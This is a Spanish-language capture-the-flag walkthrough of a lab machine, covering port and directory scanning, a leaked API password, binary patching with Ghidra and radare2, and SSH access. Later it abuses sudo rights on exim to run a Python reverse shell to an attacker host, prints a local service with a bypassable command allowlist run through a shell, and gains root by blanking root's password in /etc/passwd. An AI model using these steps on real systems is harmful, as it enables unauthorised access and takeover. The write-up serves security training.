Starting Nmap 7.94SVN ( https://nmap.org ) at 2025-03-01 03:39 EST
Nmap scan report for gitea.dl (172.17.0.2)
Host is up (0.000048s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.2p1 Debian 2+deb12u5 (protocol 2.0)
| ssh-hostkey:
| 256 8e:f8:76:54:88:0f:c9:04:8c:72:ff:6c:43:57:3e:cb (ECDSA)
|_ 256 f9:e7:95:81:58:57:a1:cc:b1:78:96:06:5c:17:1d:ca (ED25519)
80/tcp open http Werkzeug/2.2.2 Python/3.11.2
|_http-title: Did not follow redirect to http://cybersec.dl
|_http-server-header: Werkzeug/2.2.2 Python/3.11.2
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Sat, 01 Mar 2025 08:39:38 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 223
| Location: http://cybersec.dl
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://cybersec.dl">http://cybersec.dl</a>. If not, click the link.
| GetRequest, HTTPOptions:
| HTTP/1.1 302 FOUND
| Server: Werkzeug/2.2.2 Python/3.11.2
| Date: Sat, 01 Mar 2025 08:39:33 GMT
| Content-Type: text/html; charset=utf-8
| Content-Length: 223
| Location: http://cybersec.dl
| Connection: close
| <!doctype html>
| <html lang=en>
| <title>Redirecting...</title>
| <h1>Redirecting...</h1>
| <p>You should be redirected automatically to the target URL: <a href="http://cybersec.dl">http://cybersec.dl</a>. If not, click the link.
| RTSPRequest:
| <!DOCTYPE HTML>
| <html lang="en">
| <head>
| <meta charset="utf-8">
| <title>Error response</title>
| </head>
| <body>
| <h1>Error response</h1>
| <p>Error code: 400</p>
| <p>Message: Bad request version ('RTSP/1.0').</p>
| <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
| </body>
|_ </html>
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port80-TCP:V=7.94SVN%I=7%D=3/1%Time=67C2C7C5%P=x86_64-pc-linux-gnu%r(Ge
SF:tRequest,1AE,"HTTP/1\.1\x20302\x20FOUND\r\nServer:\x20Werkzeug/2\.2\.2\
SF:x20Python/3\.11\.2\r\nDate:\x20Sat,\x2001\x20Mar\x202025\x2008:39:33\x2
SF:0GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:
SF:\x20223\r\nLocation:\x20http://cybersec\.dl\r\nConnection:\x20close\r\n
SF:\r\n<!doctype\x20html>\n<html\x20lang=en>\n<title>Redirecting\.\.\.</ti
SF:tle>\n<h1>Redirecting\.\.\.</h1>\n<p>You\x20should\x20be\x20redirected\
SF:x20automatically\x20to\x20the\x20target\x20URL:\x20<a\x20href=\"http://
SF:cybersec\.dl\">http://cybersec\.dl</a>\.\x20If\x20not,\x20click\x20the\
SF:x20link\.\n")%r(HTTPOptions,1AE,"HTTP/1\.1\x20302\x20FOUND\r\nServer:\x
SF:20Werkzeug/2\.2\.2\x20Python/3\.11\.2\r\nDate:\x20Sat,\x2001\x20Mar\x20
SF:2025\x2008:39:33\x20GMT\r\nContent-Type:\x20text/html;\x20charset=utf-8
SF:\r\nContent-Length:\x20223\r\nLocation:\x20http://cybersec\.dl\r\nConne
SF:ction:\x20close\r\n\r\n<!doctype\x20html>\n<html\x20lang=en>\n<title>Re
SF:directing\.\.\.</title>\n<h1>Redirecting\.\.\.</h1>\n<p>You\x20should\x
SF:20be\x20redirected\x20automatically\x20to\x20the\x20target\x20URL:\x20<
SF:a\x20href=\"http://cybersec\.dl\">http://cybersec\.dl</a>\.\x20If\x20no
SF:t,\x20click\x20the\x20link\.\n")%r(RTSPRequest,16C,"<!DOCTYPE\x20HTML>\
SF:n<html\x20lang=\"en\">\n\x20\x20\x20\x20<head>\n\x20\x20\x20\x20\x20\x2
SF:0\x20\x20<meta\x20charset=\"utf-8\">\n\x20\x20\x20\x20\x20\x20\x20\x20<
SF:title>Error\x20response</title>\n\x20\x20\x20\x20</head>\n\x20\x20\x20\
SF:x20<body>\n\x20\x20\x20\x20\x20\x20\x20\x20<h1>Error\x20response</h1>\n
SF:\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code:\x20400</p>\n\x20\x20\
SF:x20\x20\x20\x20\x20\x20<p>Message:\x20Bad\x20request\x20version\x20\('R
SF:TSP/1\.0'\)\.</p>\n\x20\x20\x20\x20\x20\x20\x20\x20<p>Error\x20code\x20
SF:explanation:\x20400\x20-\x20Bad\x20request\x20syntax\x20or\x20unsupport
SF:ed\x20method\.</p>\n\x20\x20\x20\x20</body>\n</html>\n")%r(FourOhFourRe
SF:quest,1AE,"HTTP/1\.1\x20302\x20FOUND\r\nServer:\x20Werkzeug/2\.2\.2\x20
SF:Python/3\.11\.2\r\nDate:\x20Sat,\x2001\x20Mar\x202025\x2008:39:38\x20GM
SF:T\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nContent-Length:\x2
SF:0223\r\nLocation:\x20http://cybersec\.dl\r\nConnection:\x20close\r\n\r\
SF:n<!doctype\x20html>\n<html\x20lang=en>\n<title>Redirecting\.\.\.</title
SF:>\n<h1>Redirecting\.\.\.</h1>\n<p>You\x20should\x20be\x20redirected\x20
SF:automatically\x20to\x20the\x20target\x20URL:\x20<a\x20href=\"http://cyb
SF:ersec\.dl\">http://cybersec\.dl</a>\.\x20If\x20not,\x20click\x20the\x20
SF:link\.\n");
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 88.00 seconds
Si intentamos entrar en el puerto 80 veremos que esta bajo un dominio llamado cybersec.dl, por lo que lo tendremos que añadir en nuestro archivo hosts.
nano /etc/hosts
#Dentro del nano
<IP> cybersec.dl
Lo guardamos y ahora si entramos con dicho dominio:
URL = http://cybersec.dl/
Si inspeccionamos el codigo y nos vamos a donde esta el JavaScript veremos la siguiente funcion:
function fetchPassword() {
fetch('/api/1passwsecu0')
.then(response => response.json())
.then(data => {
const passwordContainer = document.querySelector('.cybersecurity-animation');
passwordContainer.textContent = ` 🔐 Protege tus datos 📁. La Ciberseguridad es Clave! --- Ejemplo de Contraseñas Seguras🔑: ${data.password}`;
})
.catch(error => console.error('Error:', error));
}
Por lo que vemos esta utilizando una API la cual contiene una contraseña si nos vamos en la siguiente ruta viendo lo siguiente:
URL = http://cybersec.dl/api/1passwsecu0
Info:
password: ")8V.C(|V/(Yq:m~89*iy~>*p"
Por lo que vemos parece ser una contraseña de posiblemente algo, pero si volvemos a cargar la pagina veremos que va cambiando la contraseña, vamos a realizar un poco de fuzzing en la seccion de la API.
Gobuster
gobuster dir -u http://cybersec.dl/api -w <WORDLIST> -x html,php,txt -t 100
Info:
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://cybersec.dl/api
[+] Method: GET
[+] Threads: 100
[+] Wordlist: /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: html,php,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login (Status: 405) [Size: 153]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
Vemos que nos saca un directorio llamado /login, pero si entramos desde la web nos dira que no permite ese tipo de conexiones, como sabemos que esta dedicado al /login ptobaremos algo asi:
Vemos que obtuvimos uno llamado mail, por lo que vamos añadirlo a nuestro archivo hosts.
nano /etc/hosts
#Dentro del nano
<IP> cybersec.dl mail.cybersec.dl
Lo guardamos y nos metemos con dicho subdominio.
Veremos un login, pero no vemos que se pueda hacer mucho, si volvemos e intentamos realizar fuerza bruta con el usuario admin en la parte de /api/login de la siguiente forma:
Vemos que hay varios subdominios con rutas, probando todas, la unica que me funciono a parte de mail es la de 0internal_down.cybersec.dl, por lo que lo añadiremos al hosts.
nano /etc/hosts
#Dentro del nano
<IP> cybersec.dl mail.cybersec.dl 0internal_down.cybersec.dl
Lo guardamos y entramos con dicho subdominio veremos lo siguiente:
URL = http://0internal_down.cybersec.dl
Vemos que podemos descargarnos lo que parece ser un binario y una nota .txt, vamos a descargarnos las 2 cosas.
La nota dice lo siguiente:
De: flypsi
Para: Darksblack
Darksblack, necesito que me ayudes a recuperar mi password, te deje un binario para que lo analises y la extraigas, habia dejado mi password incorporada en el para
un CTF que estaba realizando pero perdi mis apuntes... (sisisisi ya se que me has dicho que no reutilice password, pero se me olvidan)
Si intentamos ejecutar la aplicacion veremos que nos indica un nombre y despues nos hace un pregunta, se ve una aplicacion normal, pero si desbordamos la pila de la aplicacion de esta forma:
./smashing
Info:
Bienvenido al programa interactivo.
Introduce tu nombre: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Hola, AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
*** stack smashing detected ***: terminated
zsh: IOT instruction ./smashing
Indica que el programa ha experimentado una violación de integridad de pila (stack smashing), lo cual ocurre cuando el programa intenta escribir más allá de la memoria que le ha sido asignada, corrompiendo así el espacio de pila.
Pero vemos que es muy complicado, ya que me tire bastante rato intentandolo, por lo que vamos a modificar los bytes del binario con la herramienta ghidra para llamar a una funcion que encontre bastante interesante que se llama factor1 y contiene lo siguiente:
Donde pone info: veremos que muestra la informacion que queremos saber, desde el codigo no podremos ver cual es esa informacion, pero lo que si podremos hacer es irnos a la funcion main que es donde se aloja el programa de forma principal y desde hay llamar a dicha funcion para que nos muestre la informacion, por eso tendremos que cambiar algunos bytes del programa para re-compilarlo y ejecutarlo, es una tarea bastante tediosa.
La funcion main es esta en C#:
/* WARNING: Removing unreachable block (ram,0x0010245c) */
/* WARNING: Removing unreachable block (ram,0x001024c7) */
/* WARNING: Removing unreachable block (ram,0x001024a7) */
/* WARNING: Removing unreachable block (ram,0x001024cf) */
undefined8 main(void)
{
int iVar1;
long in_FS_OFFSET;
char local_14 [4];
long local_10;
local_10 = *(long *)(in_FS_OFFSET + 0x28);
puts("Bienvenido al programa interactivo.");
factor2();
printf(&DAT_00103678);
__isoc99_scanf(&DAT_001036c0,local_14);
iVar1 = strcmp(local_14,"si");
if (iVar1 == 0) {
interesting_facts();
imprimir_medidas_ciberseguridad();
}
else {
puts(&DAT_001036c8);
}
putchar(10);
if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) {
return 0;
}
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
Ahora tendremos que darle a este boton de aqui llendonos a la funcion main y probaremos a cambiar algunos bytes para que un texto diga otra cosa de lo que normalmente dice, en vez de que diga Bienvenido al programa interactivo. reemplazarlo por Programa modificado by d1se0..
Dandole a ese boton, se nos abrira la cadena de bytes que corresponde en la posicion de donde tengamos el programa, por lo que pincharemos donde pone la frase y nos marcara la cadena de bytes, una vez echo eso, pasaremos el texto de ascii a bytes con la siguiente pagina:
Tendremos dentro del panel de bytes que darle al siguiente boton para empezar a modificar el bloque:
Y lo modificaremos...
Una vez modificados los bytes, le daremos al siguiente boton para guardar la modificacion.
Una vez que lo hayamos guardado se habran modificado los bytes por lo que el texto tambien se habra modificado, tendremos que re-compilarlo llendonos a File:
De esta seccion, seleccionamos Export Program...:
En el formato lo dejamos como Original File para que sea el binario y se pueda ejecutar, y el PATH donde queremos que lo deje, una vez echo todo esto, le daremos a Ok y con esto ya tendremos el binario modificado.
Vamos a probar a ejecutarlo:
chmod +x ./smashing1
./smashing1
Info:
Programa modificado by d1se0.
Introduce tu nombre: test
Hola, test
¿Te gustaría saber datos interesantes sobre ciberseguridad? (si/no): no
Gracias por usar el programa. Adiós!
Vemos que ha funcionado, ahora vamos a modificar los bytes de lo que realmente queremos hacer, que sera llamar a la funcion factor1 para ver que obtenemos de informacion.
Pero es demasiado complejo para realizarlo en Ghidra, por lo que vamos a utilizar la herramienta radare2.
Modificación de binario con radare2
Vamos a ejecutar radare2 en modo escritura para poder escribir en las direcciones de memoria la funcion que queremos que llame.
radare2 -A -w smashing1
Vamos a cargar el binario que modificamos con ghidra, una vez que estemos dentro del binario con radare2, vamos a identificar donde esta la direccion de memoria a la que se esta llamando la funcion factor2:
Vemos esta parte de aqui que es la que queremos modificar:
0x000023dc e8fafeffff call sym.factor2
Y corresponde con 0x000023dc por lo que vamos a modificar ese sym.factor2 por sym.factor1, pero antes tendremos que saber la direccion de memoria de factor1:
Por lo que vemos corresponde sym.factor1 con 0x22d2, teniendo todo esto, ya podremos realizar el calculo de los bytes que tendremos que poner en la direccion que comente antes para poder llamar a sym.factor1.
Calcular el desplazamiento relativo
La instrucción call usa una dirección relativa y se calcula así:
Sabemos que:
factor1 = 0x000020a7
call en 0x000023dc
Convertimos -0x33A a little-endian en 4 bytes:
Si tambien contamos con el opcode del CALL que es e8 nos quedaria algo asi:
e8 c6 fc ff ff
Por lo que tendremos que sobreescribirlo de la siguiente forma:
s 0x000023dc #Cambiar a la direccion de memoria
wx e8 c6 fc ff ff @ 0x000023dc #Sobreescribir la direccion con sym.factor1
wq #Para guardar los cambios
pd 5 #Visualizar los cambios
Vemos que efectivamente se modifico de forma correcta, por lo que si nos salimos poniendo q y ejecutamos el binario:
./smashing1
Info:
Programa modificado by d1se0.
info: 2tP42bSzBTnmEAuAGkxj3
zsh: segmentation fault ./smashing1
Vemos que ha funcionado y nos devuelve la informacion por lo que se ve de forma codificada, vamos a intentar decodificarlo.
NOTA:
Os dejo el binario modificado en el siguiente link:
Veremos que esta en Base58, si lo decodificamos veremos lo sguiente:
Chocolate.1704
Obtuvimos lo que parece ser una contraseña, ahora la tendremos que probar a conectarnos por SSH como el usuario flypsi.
No nos va a dejar, por lo que podremos realizar varias combinaciones, entre ellas probar con flipsy ya que tiene mas sentido que el anterior.
Escalate user flipsy
SSH
flipsy@<IP>
Metemos como contraseña Chocolate.1704 y veremos que estamos dentro.
Escalate user darksblack
Si hacemos sudo -l veremos lo siguiente:
Matching Defaults entries for flipsy on dockerlabs:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User flipsy may run the following commands on dockerlabs:
(darksblack) NOPASSWD: /usr/sbin/exim
Vemos que podemos ejecutar exim como el usuario darksblack, por lo que haremos lo siguiente:
Si lo ejecutamos veremos lo siguiente:
sudo -u darksblack /usr/sbin/exim
Info:
Exim is a Mail Transfer Agent. It is normally called by Mail User Agents,
not directly from a shell command line. Options and/or arguments control
what it does when called. For a list of options, see the Exim documentation.
Podemos ejecutar un script con dicho binario siguiendo unos parametros, pero antes crearemos un archivo con una reverse shell.
cd /tmp
nano shell
#Dentro del nano
#!/bin/sh
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<IP>",<PORT>));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'
Lo guardamos y antes de ejecutar el script con exim nos pondremos a la escucha:
nc -lvnp <PORT>
Ahora si lo vamos a ejecutar en la maquina victima.
exim: Es un servidor de correo electrónico (MTA - Mail Transfer Agent) utilizado para enviar y recibir correos. Es un software muy común en servidores de correo.
-be: Es una opción de Exim que ejecuta el programa en un "modo de prueba" (prueba de envío de correo). En este modo, Exim procesa y muestra cómo manejaría un mensaje de correo, pero no envía el correo de verdad. Es un modo que se usa para depurar o verificar configuraciones de correo.
¿Qué hace ${run{/tmp/shell}}?
${run{...}}: Esta es una característica especial de Exim que permite ejecutar comandos o scripts desde dentro de su configuración. Es como una "instrucción" para que Exim ejecute un comando externo.
/tmp/shell: Es una ruta de archivo. En este caso, se está indicando a Exim que ejecute el archivo ubicado en /tmp/shell. Este archivo contiene la reverse shell.
¿Qué pasa cuando Exim ejecuta ${run{/tmp/shell}}?
Cuando Exim recibe esta instrucción, ejecuta el archivo que está en /tmp/shell. Este archivo contendra la reverse shell. Si este archivo tiene el código adecuado, puede ejecutar una shell (como sh), lo que le permite al atacante obtener acceso al sistema, si este archivo ha sido modificado maliciosamente.
Si volvemos a donde tenemos la escucha, veremos lo siguiente:
listening on [any] 7777 ...
connect to [192.168.5.186] from (UNKNOWN) [172.17.0.2] 40112
$ whoami
whoami
darksblack
Por lo que vemos somo dicho usuario, tendremos que sanitizar la shell (TTY).
Sanitización de shell (TTY)
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
import http.server
import socketserver
import urllib.parse
import subprocess
import base64
PORT = 25000
AUTH_KEY_BASE64 = "MDAwMGN5YmVyc2VjX2dyb3VwX3J0XzAwMDAwMAo="
class Handler(http.server.SimpleHTTPRequestHandler):
def do_GET(self):
auth_header = self.headers.get('Authorization')
if auth_header is None or not auth_header.startswith('Basic'):
self.send_response(401)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(b"Authorization header is missing or incorrect")
return
# Extraer la clave enviada por el cliente (en Base64)
encoded_key = auth_header.split('Basic ')[1]
# Decodificar la clave almacenada en Base64
decoded_stored_key = base64.b64decode(AUTH_KEY_BASE64).decode().strip() # Eliminar saltos de línea
# Decodificar la clave enviada por el cliente
decoded_client_key = base64.b64decode(encoded_key).decode().strip() # Eliminar saltos de línea
# Comparar las claves
if decoded_client_key != decoded_stored_key:
self.send_response(403)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(b"Invalid authorization key")
return
# Procesar el parámetro 'exec'
parsed_path = urllib.parse.urlparse(self.path)
query_params = urllib.parse.parse_qs(parsed_path.query)
if 'exec' in query_params:
command = query_params['exec'][0]
try:
allowed_commands = ['ls', 'whoami']
if not any(command.startswith(cmd) for cmd in allowed_commands):
self.send_response(403)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(b"Command not allowed.")
return
result = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)
self.send_response(200)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(result)
except subprocess.CalledProcessError as e:
self.send_response(500)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(e.output)
else:
self.send_response(400)
self.send_header("Content-type", "text/plain")
self.end_headers()
self.wfile.write(b"Missing 'exec' parameter in URL")
with socketserver.TCPServer(("127.0.0.1", PORT), Handler) as httpd:
httpd.serve_forever()
Vemos que dentro de la maquina a nivel local en el puerto 25000 esta corriendo esta aplicacion en la que se puede ejecutar 2 comando ls y whoami, vamos a probar a ejecutar por ejemplo whoami:
Con esto vamos a poner el archivo passwd con todos los permisos posibles, para poder quitar la contraseña a root, una vez ejecutado haremos lo siguiente:
ls -la /etc/passwd
Info:
-rwxrwxrwx 1 root root 1239 Feb 22 07:04 /etc/passwd
Ahora que sabemos que funciono, haremos esto:
nano /etc/passwd
#Dentro del nano
#La linea del usuario root, le quitaremos la "x" quedando de esta forma:
root::0:0:root:/root:/bin/sh
Lo guardamos y hacemos lo siguiente:
su root
Info:
# whoami
root
Con esto ya seremos root directamente, por lo que habremos terminado la maquina.